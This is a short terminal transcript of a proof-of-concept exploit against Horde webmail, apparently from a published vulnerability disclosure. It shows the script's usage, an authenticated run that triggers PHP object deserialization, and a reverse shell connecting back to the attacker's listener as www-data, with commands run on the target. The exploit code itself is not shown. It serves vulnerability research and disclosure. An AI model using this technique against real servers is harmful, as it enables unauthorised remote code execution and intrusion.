saturn:~ mr_me$ ./poc.py (+) usage ./poc.py <target> <path> <user:pass> <connectback:port> (+) eg: ./poc.py 172.16.175.148 /horde/ hordeuser:pass123 172.16.175.1:1337 saturn:~ mr_me$ ./poc.py 172.16.175.148 /horde/ hordeuser:pass123 172.16.175.1:1337 (+) targeting http://172.16.175.145/horde/ (+) obtained session iefankvohbl8og0mtaadm3efb6 (+) inserted our php object (+) triggering deserialization... (+) starting handler on port 1337 (+) connection from 172.16.175.145 (+) pop thy shell! id uid=33(www-data) gid=33(www-data) groups=33(www-data) pwd /var/www/horde/services uname -a Linux target 4.9.0-11-amd64 #1 SMP Debian 4.9.189-3+deb9u1 (2019-09-20) x86_64 GNU/Linux exit *** Connection closed by remote host *** (+) repaired the target!
来源: https://srcincite.io/pocs/zdi-20-1051.py.txt